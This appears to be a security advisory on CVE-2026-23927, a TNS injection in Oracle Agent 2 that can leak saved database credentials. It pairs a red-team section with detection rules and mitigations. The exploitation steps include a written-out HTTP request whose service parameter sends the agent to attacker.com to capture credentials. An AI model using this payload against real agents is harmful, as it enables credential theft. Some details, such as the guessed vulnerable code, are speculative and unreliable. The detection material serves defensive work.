CVE-2026-23927

Executive Summary

CVE-2026-23927 is a critical injection vulnerability in Oracle Agent 2, a component used for managing Oracle database connections. An attacker with network access to Agent 2 can inject a malicious Oracle TNS (Transparent Network Substrate) connection string via the service parameter. This allows the agent to connect to an attacker-controlled server, potentially leaking saved Oracle database credentials from named sessions. The vulnerability has a CVSS score of 0.0 (unscored) but poses a high risk due to credential exposure. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Oracle component (Agent 2) and is not part of an open-source supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored by NVD)
• Attack Vector (AV): Network (assumed)
• Attack Complexity (AC): Low (assumed)
• Privileges Required (PR): Low (user must be able to connect to Agent 2)
• User Interaction (UI): None
• Scope (S): Changed (credential leakage to external server)
• Confidentiality (C): High (credentials exposed)
• Integrity (I): None
• Availability (A): None
• Threat Level: High – Credential theft can lead to full database compromise.

Deep Dive & Mechanics

The vulnerability resides in how Oracle Agent 2 processes the service parameter when establishing database connections. Agent 2 is designed to manage named sessions that store Oracle database credentials for automated tasks. When a user sends a request with a crafted service parameter, the agent does not properly sanitize the input, allowing an attacker to inject a full TNS connection string.

Attack Flow:

1. Attacker gains network access to Agent 2 (e.g., via exposed port 1521 or a management interface).
2. Attacker sends a request with a malicious service parameter containing a TNS string pointing to an attacker-controlled listener.
3. Agent 2 parses the injected TNS string and attempts to connect to the attacker’s server.
4. During the connection handshake, Agent 2 may transmit saved credentials (username/password) from a named session if the session is configured to use those credentials.
5. Attacker captures the credentials from their listener.

Root Cause: Lack of input validation on the service parameter, allowing TNS injection. The agent should restrict the service parameter to predefined service names only.

Vulnerable vs. Patched Code

No patched code is available from Oracle. The vulnerable code likely resembles:

# Vulnerable pseudocode
def connect_to_database(service):
    tns_string = f"(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST={service})(PORT=1521)))"
    connection = oracledb.connect(tns_string)
    return connection

A patched version would validate the service parameter against a whitelist:

# Patched pseudocode
ALLOWED_SERVICES = ["ORCL", "XE", "PDB1"]

def connect_to_database(service):
    if service not in ALLOWED_SERVICES:
        raise ValueError("Invalid service name")
    tns_string = f"(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=localhost)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME={service})))"
    connection = oracledb.connect(tns_string)
    return connection

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Oracle Agent 2 on a Linux VM (e.g., Oracle Linux 8).
2. Configure a named session with saved credentials (e.g., session1 with user admin and password P@ssw0rd).
3. Set up an attacker-controlled Oracle listener on a separate VM (e.g., using tnslsnr with a custom configuration to log credentials).

Exploitation Steps:

1. Identify Agent 2 endpoint (e.g., http://target:1521/agent).
2. Craft a malicious request:

   POST /agent/connect HTTP/1.1
   Host: target:1521
   Content-Type: application/x-www-form-urlencoded
   
   service=(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=attacker.com)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=FAKE)))
   

3. Agent 2 will connect to the attacker’s listener, which logs the credentials sent during authentication.

Expected Outcome: Attacker captures the saved database credentials from the named session.

Blue Team

Detection Steps:

1. Monitor Agent 2 logs for unusual service parameter values containing DESCRIPTION, ADDRESS, or HOST keywords.
2. Alert on outbound connections from Agent 2 to unexpected IP addresses (especially on port 1521).
3. Review network traffic for TNS handshake packets originating from Agent 2 to external hosts.

Hunting Queries:

• Search for service parameter values that contain (DESCRIPTION= in web server logs.
• Look for connections from Agent 2 to IPs not in the internal database server whitelist.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound TCP connections from Agent 2 to port 1521 on external IPs.
  • TNS packets with (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=...)) in the payload.
• Log IOCs:
  • Agent 2 logs containing service parameter with (DESCRIPTION= or (ADDRESS= strings.
  • Error logs showing connection attempts to unknown hosts.
• File IOCs:
  • Modified Agent 2 configuration files (e.g., agent.conf) with suspicious TNS entries.

Detection Engineering

YARA Rule

rule CVE_2026_23927_TNS_Injection {
    meta:
        description = "Detects TNS injection attempts in Oracle Agent 2 service parameter"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-23927"
    strings:
        $tns_pattern = /service=.*\(DESCRIPTION=\(ADDRESS=\(PROTOCOL=TCP\)\(HOST=/ nocase
        $tns_keyword = "DESCRIPTION=" ascii wide
    condition:
        any of them
}

Sigma Rule

title: Oracle Agent 2 TNS Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2026-23927 by injecting a TNS connection string via the service parameter.
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "service=(DESCRIPTION="
            - "service=(ADDRESS="
    condition: selection
falsepositives:
    - Legitimate use of TNS strings in rare configurations (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 1521 (msg:"CVE-2026-23927 Oracle Agent 2 TNS Injection"; flow:to_server,established; content:"|28 44 45 53 43 52 49 50 54 49 4f 4e 3d|"; nocase; content:"|28 41 44 44 52 45 53 53 3d|"; distance:0; within:256; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Restrict network access to Agent 2 to trusted IPs only (firewall rules).
  • Disable named sessions with saved credentials if not required.
  • Monitor Agent 2 logs for suspicious service parameter values.
• Long-term Fix:
  • Oracle must release a patch that validates the service parameter against a whitelist.
  • Until then, implement a reverse proxy that filters out TNS injection patterns.
• Workaround:
  • Use environment variables or a secrets manager instead of storing credentials in named sessions.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

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